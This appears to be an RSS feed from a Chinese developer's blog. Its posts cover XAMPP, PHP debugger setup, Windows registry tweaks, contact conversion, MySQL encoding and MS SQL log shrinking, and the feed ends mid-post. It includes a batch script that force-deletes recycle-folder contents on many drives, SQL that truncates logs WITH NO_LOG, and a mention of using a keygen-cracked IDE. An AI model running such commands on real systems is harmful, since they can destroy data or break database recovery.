﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-灵魂-放水</title><link>http://www.blogjava.net/zqli/</link><description>为学日益，为道日损。</description><language>zh-cn</language><lastBuildDate>Thu, 30 Apr 2026 00:42:39 GMT</lastBuildDate><pubDate>Thu, 30 Apr 2026 00:42:39 GMT</pubDate><ttl>60</ttl><item><title>XAMPP apache启动后，键入localhost浏览器长时间显示等待。</title><link>http://www.blogjava.net/zqli/archive/2011/11/01/362451.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Tue, 01 Nov 2011 08:13:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2011/11/01/362451.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/362451.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2011/11/01/362451.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/362451.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/362451.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 今天在XAMPP下启动apache时，启动成功，但无法访问localhost。解决过程如下：<br />&nbsp;&nbsp;&nbsp;&nbsp; 1、怀疑是杀毒软件或者防护软件更新之后阻止了localhost的访问，尝试停止以上两者之后，依旧无法访问。<br />&nbsp;&nbsp;&nbsp;&nbsp; 2、怀疑之前安装某软件的过程中，修改了winsock的相关东东，于是在cmd下键入：netsh winsock reset。<br />&nbsp;&nbsp;&nbsp;&nbsp; 3、重启之后，启动apache，无法启动，表现为显示启动成功之后立即又停止。<br />&nbsp;&nbsp;&nbsp;&nbsp; 4、应该XAMPP apache的80端口被占，打开IIS查看，之前一直停止的IIS默认网站，在netsh winsock reset之后，被重新启动，导致占用80端口。<br />&nbsp;&nbsp;&nbsp;&nbsp; 至此，问题解决。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img src ="http://www.blogjava.net/zqli/aggbug/362451.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2011-11-01 16:13 <a href="http://www.blogjava.net/zqli/archive/2011/11/01/362451.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Zend Studio 8.0+Zend debugger+XAMPP</title><link>http://www.blogjava.net/zqli/archive/2011/08/20/356944.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Sat, 20 Aug 2011 06:08:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2011/08/20/356944.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/356944.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2011/08/20/356944.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/356944.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/356944.html</trackback:ping><description><![CDATA[步骤：<br /><div><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">1</span><span style="font-size:10.5pt; font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、先下载</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">Zend Studio -8.0</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">ZendDebugger-v5.2-windows-i386.zip</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">XAMPP 1.7.1(php5.2.9);<br /> 2</span><span style="font-size:10.5pt;font-family: 宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、分别安装</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">Zend Studio -8.0</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">和</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">xampp1.7.1;<br /> 3</span><span style="font-size:10.5pt;font-family: 宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、从</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">ZendDebugger-v5.2-windows-i386.zip</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">中解压出来的</span><span style="font-size: 10.5pt;font-family:&quot;Times New Roman&quot;;">ZendDebugger-v5.2- cygwin_nt-i386\5_2_x_comp\ZendDebugger.dll</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;"></span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">；</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;"><br /> 4</span><span style="font-size:10.5pt;font-family: 宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、修改</span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;;"><div>D:\Project\xampp\\php\php.ini<span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">中Zend debugger信息：</span><br /> </div></span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;"></span><div><br />[Zend Debugger]<br />zend_extension_ts = "D:\Project\PHP\zend\ZendDebugger-5.2.14RC9-cygwin_nt-i386\5_2_x_comp\ZendDebugger.dll"<br />zend_debugger.allow_hosts=127.0.0.1<br />zend_debugger.expose_remotely=always</div><span style="font-size: 10.5pt;font-family:&quot;Times New Roman&quot;;"><br /> 5</span><span style="font-size:10.5pt;font-family: 宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、添加</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">ZendDebugger-v5.2- cygwin_nt-i386\dummy.php</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">文件到</span>D:\Project\xampp\htdocs下。<br /><br /><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">6</span><span style="font-size:10.5pt;font-family: 宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、查看</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">phpinfo()</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">中</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">Zend Debuger</span><span style="font-size:10.5pt;font-family:宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">信息</span><span style="font-size:10.5pt;font-family:&quot;Times New Roman&quot;;">;<br /><br /><div>This program makes use of the Zend Scripting Language Engine:<br />Zend&nbsp;Engine&nbsp;v2.2.0,&nbsp;Copyright&nbsp;(c)&nbsp;1998-2009&nbsp;Zend&nbsp;Technologies<br />&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;Zend&nbsp;Debugger&nbsp;v5.2.14,&nbsp;Copyright&nbsp;(c)&nbsp;1999-2008,&nbsp;by&nbsp;Zend&nbsp;Technologies</div>表示成功安装Debugger。<br /><br /> 7</span><span style="font-size:10.5pt;font-family: 宋体;Times New Roman&quot;;Times New Roman&quot;;Times New Roman&quot;;">、打开Zend Studio8，将php project放到</span>D:\Project\xampp\htdocs<span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;;">下，打开Window-&gt;Preferences-&gt;PHP-&gt;Debug：<br /><div align="center"><img src="http://www.blogjava.net/images/blogjava_net/zqli/zend1.jpg" alt="" height="467" width="625" border="0" /></div><br /><div align="center"><img src="http://www.blogjava.net/images/blogjava_net/zqli/zend2.jpg" alt="" height="589" width="625" border="0" /></div><br /><div align="center"><img src="http://www.blogjava.net/images/blogjava_net/zqli/zend3.jpg" alt="" height="758" width="625" border="0" /><br /></div></span><div align="left">8、配置完成，开始debugger。<br /><br />注：在Window-&gt;Web Browser里可以选择浏览器。</div><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;;"></span><span style="font-size: 10.5pt;font-family:&quot;Times New Roman&quot;;"><br /> <br /> </span></div><img src ="http://www.blogjava.net/zqli/aggbug/356944.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2011-08-20 14:08 <a href="http://www.blogjava.net/zqli/archive/2011/08/20/356944.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PhpED5.95在XAMPP下的Debugger（dbg-php-5.2.dll）。</title><link>http://www.blogjava.net/zqli/archive/2011/08/19/356868.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 19 Aug 2011 07:59:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2011/08/19/356868.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/356868.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2011/08/19/356868.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/356868.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/356868.html</trackback:ping><description><![CDATA[在XAMPP管理页面，点击phpinfo查看php版本为5.2.9。<br /><br />步骤：<br /><br />1、<span style="font-family: 宋体;">复制</span>d:\Program Files\NuSphere\PhpED\debugger\server\Windows\x86\dbg-php-5.2.dll到<div><div align="left"><span style="font-family: 宋体;"></span><div>D:\Project\xampp\php\ext\dbg-php-5.2.dll。<br /><br />2、根据官方文档，打开D:\Project\xampp\php\php.ini，加入：<br /><div><br />[phped debugger]<br />zend_extension_ts="D:\Project\xampp\php\ext\dbg-php-5.2.dll"<br />debugger.enabled=on<br />debugger.profiler_enabled=on<br />debugger.hosts_allow=127.0.0.1<br />debugger.hosts_deny=ALL<br />debugger.ports=7869, 10000/16<br /><br />Zend debugger和dbg-php debugger不能同时用，所以注释掉Zend Debugger的调试器。<br /><br />此时，用localhost打开XAMPP管理页，点击 phpinfo，查看到：<br /><div><br />This program makes use of the Zend Scripting Language Engine:<br />Zend&nbsp;Engine&nbsp;v2.2.0,&nbsp;Copyright&nbsp;(c)&nbsp;1998-2009&nbsp;Zend&nbsp;Technologies<br />&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;DBG&nbsp;v3.9.10,&nbsp;(C)&nbsp;2000,2010,&nbsp;by&nbsp;Dmitri&nbsp;Dmitrienko<br /><br />说明debugger安装成功。</div><br />3、打开PhpED（使用版本VeryCD上下载的[PHP综合开发环境].NuSphere.PhpED.Professional.v5.9.5989.Incl.Keymaker-EMBRACE.zip），<br />New project -&gt;不使用向导，配置如下：<br /><div align="center"><img src="http://www.blogjava.net/images/blogjava_net/zqli/phpED1.jpg" alt="" height="645" width="758" border="0" /></div></div>4、点击 tools-&gt;Settings-&gt;Run&amp;Debug，配置如下:<br /><div align="center"><img src="http://www.blogjava.net/images/blogjava_net/zqli/PhpED2.jpg" alt="" height="649" width="741" border="0" /><br /><div align="left">之后，便可以选择项目中index.php等入口文件开始调试。当然也可以在是否设置在每页第一行断点看个人。此外，记得根据项目需要设置Default file encoding。<br /><br />注：5.9.5版本的PhpED在上图的 HPPT mode,default browser 如果选择外置的Mozilla firefox，在Run or debugger时将出错，此时可以再Tools-&gt;Setting-&gt;tools-&gt;External browsers下根据IE的设置来设置firefox的设置。</div></div><br /><span style="background: yellow;"></span></div></div></div><img src ="http://www.blogjava.net/zqli/aggbug/356868.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2011-08-19 15:59 <a href="http://www.blogjava.net/zqli/archive/2011/08/19/356868.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]自动清除、从不记录 我最近的文档记录。</title><link>http://www.blogjava.net/zqli/archive/2011/01/05/342360.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Wed, 05 Jan 2011 09:27:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2011/01/05/342360.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/342360.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2011/01/05/342360.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/342360.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/342360.html</trackback:ping><description><![CDATA[如果你想在关机时自动清除&#8220;我最近的文档&#8221;，需要修改注册表设置，或者更改组策略设置，具体方法如下：<br />
******方法之一：******<br />
1、打开【开始】菜单，单击【运行】，输入regedit，【确定】<br />
2、在左侧边栏依次进入主键【HKEY_USERS＼S-1-5-21-823518204-1614895754-725345543-1003＼Software＼Microsoft＼Windows＼CurrentVersion＼Policies＼Explorer】<br />
3、在右侧边栏的空白处单击鼠标右键，选择【新建】，【DWORD值】，并且重命名为【ClearRecentDocsOnExit】，然后双击打开它，把数值数据设为1，点击确定。设为0则不清除【我最近的文档】，这样在关机时，系统就会自动清除【我最近的文档】了。<br />
4、如果在第三步改为：在右侧边栏的空白处单击鼠标右键，选择【新建】，选择【DWORD值】，并且重命名为【NoRecentDocsMenu】，系统则会隐藏【开始菜单】中的【我最近的文档】项目。<br />
5、如果在第三步改为：在右侧边栏的空白处单击鼠标右键，选择【新建】，选择【DWORD值】，并且重命名为【NoRecentDocsHistory】，系统则不会将用户使用过的最近的非程序文档存入【开始菜单】中的【我最近的文档】项目。<br />
<br />
******方法之二：******<br />
1、打开【开始】菜单，单击【运行】，输入gpedit.msc，【确定】打开【组策略】，依次展开【用户配置－管理模版－任务栏和[开始]菜单】，在右侧窗口中找到【退出时清除最近打开文档的记录】以及【不要保留最近打开文档的记录】和【从「开始」菜单中删除「文档」菜单】这三项，分别双击其【属性】，并设置为【已启用】，原来默认属性为【未配置】，重新启动电脑即可生效了。<br />
2、这三项设置的作用如其所说，顾名思义即可。<br />
<br />
3、另外说明：有人想用同样的方法设置【关机自动清空回收站】，这一想法虽然好，但结论是WinXP系统中无法做到。<br />
<br />
******解决办法：******<br />
①只能做一个BAT批处理文件来解决了，先用文本文件保存下面的内容，然后重命名为BAT文件，放在系统的启动项里就成了，当然，这属于【开机自动清空回收站】的方法了，文件内容：<br />
@echo off <br />
echo 正在清理回收站，请稍等...... <br />
del /f /s /q c:\Recycled\*.* <br />
del /f /s /q d:\Recycled\*.*<br />
del /f /s /q e:\Recycled\*.*<br />
del /f /s /q f:\Recycled\*.*<br />
del /f /s /q g:\Recycled\*.*<br />
del /f /s /q h:\Recycled\*.*<br />
echo 清空回收站完成！ <br />
echo. &amp; pause<br />
<br />
<img src ="http://www.blogjava.net/zqli/aggbug/342360.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2011-01-05 17:27 <a href="http://www.blogjava.net/zqli/archive/2011/01/05/342360.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Excel-&gt;CSV-&gt;VCARD联系人格式转换（解决CSV“0”开头区号问题，Motorola XT800联系人导入记）</title><link>http://www.blogjava.net/zqli/archive/2010/10/18/335496.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Mon, 18 Oct 2010 13:40:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2010/10/18/335496.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/335496.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2010/10/18/335496.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/335496.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/335496.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 近日，LP入手Motorola XT800，需要将原先两部手机Windows mobile6.1、单位同事电话本（EXCEL）及Sybian S60 3rd内的联系人导入到XT800中，对于android2.1的XT800来说，导入VCARD格式的联系人格式尤为方便，所以开始了一系列转换之旅。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;前言：因为单位同事电话本里的联系人占了大头，故而采取了将所有联系先制作成EXCEL的格式，再将其另存为CSV格式，借助outlook导入CSV之后，导出VCARD格式的思路。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一、导出Sybian S60机器内的联系人：通过PCSUIT套件，可以将联系人导出为CSV格式或TXT格式，选择CSV格式。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二、导出Windows mobile6.1机器内的联系人：通过Microsoft ActiveSync+91手机助手将联系人导出联系人表格，各项内容相对于诺基亚的更完整，格式化更好。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 三、将以上两个步骤的联系人黏贴至单位同事电话本的XLS里（诺基亚导出的CSV需要重新整理格式），另存为&#8220;CSV（带逗号分隔）&#8221;，保存。注意不能拆分单元格，格式为带表头的常见表格模式。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 四、发现在保存成CSV的过程中，丢失EXCEL表格信息，其中最严重的是单元格格式，意味着0871之类的区号，将变成871，丢失&#8220;0&#8221;，全选单元格，设置单元格格式为文本，重新粘贴进&#8220;0871&#8221;保存，再次打开，&#8220;0&#8221;同样丢失。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 五、准备采用直接从EXCEL转换至VCARD格式的方法，所以尝试用outlook2003版本直接导入EXCEL中的数据到联系人，过程中同样涉及映射EXCEL相应列，但在最后的转换过程中，outlook2003报错，转换无法完成。Google方法若干，均找不到有成熟稳定的工具直接将EXCEL中的联系人转换成VCARD格式。在这个过程中，需要提到一个软件systools-excel-to-vcard，网上仅有demo版，数量限制5个联系人，很顺利，需要交钱才能搞定完整版，所以放弃之。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 接下来，分析CSV文本，寻找修改其方法，因为其实CSV并非MICROSOFT OFFICE的东东，excel仅仅是一个打开的工具，所以考虑用记事本修改。果不其然，用系统自带记事本打开CSV得到的是带逗号的数据信息，此时，在871修改为0871，保存，再次用EXCEL打开，发现依旧丢失，说明无法通过EXCEL完成添加&#8220;0&#8221;的修改。但用记事本打开，则未丢失0。接下来，通过记事本的替换功能，将&#8220;,871&#8221;批量替换为&#8220;,0871&#8221;，保存。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 六、将上面用记事本修改好的CSV，通过outlook导入联系人。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 七、全选outlook通讯簿中的联系人，右键复制，在电脑的任何一个地方，新建一个文件夹，粘贴。到此，VCARD联系人制作完毕，通过91手机助手或者将联系人文件夹拷贝至SD卡，即可导入联系人。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 后记：如果有兴趣的话，可以写个将EXCEL中联系人转换成VCARD的小程序，虽小，却很实用。据说，91手机助手有该功能，不过在写此文时，XT800不在身边，无法证实此功能是否存在。如果有，此贴就没啥意义了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
<img src ="http://www.blogjava.net/zqli/aggbug/335496.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2010-10-18 21:40 <a href="http://www.blogjava.net/zqli/archive/2010/10/18/335496.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SpringSide3.2.2开发web初探及MySQL5.1.* UTF-8乱码、自带命令行无法插入中文问题解决。</title><link>http://www.blogjava.net/zqli/archive/2010/03/17/315672.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Wed, 17 Mar 2010 06:44:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2010/03/17/315672.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/315672.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2010/03/17/315672.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/315672.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/315672.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 近期想使用SpringSide开发Web应用，我用的是最新版3.2.2。应该说，入手SS3，是看了<a href="http://www.blogjava.net/youxia">海边沫沫</a>所写的一系列文章，尤其以SS3系列为主。去<a href="http://www.springside.org.cn/">官网</a>下载SS3.2.2，完成一系列变量的配置，并解压安装SS后。开始创建项目，发现使用BIN\new-project.bat创建出来的project文件夹下，并没有lib文件夹，此时，通过点击所创建工程目录下的BIN\init-jar.bat，可以初始化项目所需要的jar文件。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一切就绪，用Eclipse import工程，发现有红叉，add jars之后，红叉消失。由于本身不喜欢使用SS3自带示例的数据库，按海边沫沫的方法将数据库迁移至MySQL，当然，因为SS3.2.2更新过，建表及插入数据语句也因此而不同。在未处理MySQL字符编码的及SS3已统一项目编码UTF-8的前提下，数据库迁移成功。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 运行project，发现登录之后，熟悉的中文乱码映入眼帘。此时，新建数据插入数据库之后，JSP浏览中文正常显示，说明需要配置MYSQL端。baidu了一阵之后，发现一般的解决方法是统一几处编码，于是打开MySQL安装目录下的my.ini，将client和mysqld下面改为default-character-set=utf8。重启MySQL之后，通过命令行建表成功，但在插入数据时却无法插入中文，百般无奈之下，再次baidu，发现有一种折中处理办法，也即注释掉MYSQL引入的新限制&#8220;sql-mode&#8221;，注释掉之后，发现命令行能插入中文数据，不提示错误，然而select却发现刚刚插入的中文数据为空。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不得不开始了第三组baidu，发现可以将：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [mysql]default-character-set=gbk<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #这个设置的是MySQL自带的命令行显示和输入的<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [mysqld]default-character-set=utf8<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #这个设置决定MySQL的工作环境字符集，数据库继承MySQL设置的字符集，而表则继承数据库的字符集，字段则继承表的字符集。至于web端的统一UTF-8就不多说了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 解注释刚才的sql-mode，重启MySQL，打开MySQL自带的命令行，插入中文数据成功，select无乱码和为空白的情况，启动project，到此，乱码问题解决。<br />
<br />
<br />
<br />
<br />
</p>
<img src ="http://www.blogjava.net/zqli/aggbug/315672.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2010-03-17 14:44 <a href="http://www.blogjava.net/zqli/archive/2010/03/17/315672.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】MS SQL数据库日志的压缩方法</title><link>http://www.blogjava.net/zqli/archive/2009/09/14/294979.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Mon, 14 Sep 2009 02:22:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2009/09/14/294979.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/294979.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2009/09/14/294979.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/294979.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/294979.html</trackback:ping><description><![CDATA[<p>MS SQL性能是很不错的，但是数据库用了一段时间之后，数据库却变得很大，实际的数据量不大。一般都是数据库日志引起的！数据库日志的增长可以达到好几百M。</p>
<p>网上的MSSQL虚拟主机价格也贵，要想不让数据库超容，只好压缩下数据库日志，或者删除数据库日志。<br />
下面我给大家介绍一个方法</p>
<p>1、打开企业管理器<br />
2、打开要处理的数据库<br />
3、点击菜单&gt;工具&gt;SQL查询分析器<br />
4、在输入窗口里面输入:<br />
DUMP TRANSACTION [数据库名] WITH NO_LOG<br />
BACKUP LOG [数据库名] WITH NO_LOG<br />
DBCC SHRINKDATABASE([数据库名])<br />
点击执行！这样子数据库就操作成功了。</p>
<p>程序里面的方法：<br />
压缩数据库日志<br />
--1.清空日志<br />
exec('DUMP TRANSACTION [' @dbname '] WITH NO_LOG') <br />
--2.截断事务日志：<br />
exec('BACKUP LOG [' @dbname '] WITH NO_LOG')<br />
--3.收缩数据库文件(如果不压缩,数据库的文件不会减小<br />
exec('DBCC SHRINKDATABASE([' @dbname '])')</p>
<img src ="http://www.blogjava.net/zqli/aggbug/294979.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2009-09-14 10:22 <a href="http://www.blogjava.net/zqli/archive/2009/09/14/294979.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是动态语言（转） </title><link>http://www.blogjava.net/zqli/archive/2009/03/16/259962.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Mon, 16 Mar 2009 03:11:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2009/03/16/259962.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/259962.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2009/03/16/259962.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/259962.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/259962.html</trackback:ping><description><![CDATA[<div class="postText">可以简单的理解为直接被解释执行的语言称为动态语言。而需要编译环境将<a class="wordstyle" href="http://www.99126.cn/" target="_blank">程序</a>转换为其它的编码再执行的语言称为静态语言。
<p>　　当前静态语言有:<a class="wordstyle" href="http://www.99126.cn/" target="_blank">Java</a>、C/C++、<a class="wordstyle" href="http://www.99126.cn/" target="_blank">C#</a>、Delphi、<a class="wordstyle" href="http://www.99126.cn/" target="_blank">VB</a>等。</p>
<p>　　动态语言有:<a class="wordstyle" href="http://www.99126.cn/" target="_blank">ASP</a>、<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>、<a class="wordstyle" href="http://www.99126.cn/" target="_blank">CGI</a>、lisp、Perl、python,Smalltalk、Ruby等。</p>
<p>　　对于动态语言，每个人心中都有自己的排序，各自喜好不同。但是对于动态语言越来越受重视是很多人的共识。众多的动态语言当中，谁将成为主流语言，众说纷芸，各持已见。而我最看好的动态语言将从下面三种语言中产生。为什么我会锁定在三种语言上呢?除了语言自身的优势外，另外一点最主要的原因就是其被后的力量。任何一种产品想成为主流都离不开强大的财团支持，<a class="wordstyle" href="http://www.99126.cn/" target="_blank">开发</a>语言也不例外。</p>
<p>　　<strong>1、<a class="wordstyle" href="http://www.99126.cn/" target="_blank">php</a> 动态语言之精典</strong></p>
<p>　　对于<a class="wordstyle" href="http://www.99126.cn/" target="_blank">php</a>语言，笔者的个人感情较浓，从第一次接触它就被其简单、灵活、功能之强大所征服。更快的处理效率，迅速的部署及<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>的跨平台的特性让其应用更为广泛，相信俱有跨平台特性的动态语言中没有任何一个语言能及<a class="wordstyle" href="http://www.99126.cn/" target="_blank">php</a>语言的普及率高。很多大的网站使用着<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>，历史证明，它是一个经得起考验的动态语言。另外，<a class="wordstyle" href="http://www.99126.cn/" target="_blank">php</a>的开源环境也相当出色。世界各地数以万计的<a class="wordstyle" href="http://www.99126.cn/" target="_blank">程序</a>员，采用<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>编写<a class="wordstyle" href="http://www.99126.cn/" target="_blank">程序</a>。你可以从<a class="wordstyle" href="http://www.99126.cn/" target="_blank">PHP</a>相关的网站、社区等找到各类优秀的开源<a class="wordstyle" href="http://www.99126.cn/" target="_blank">程序</a>代码。</p>
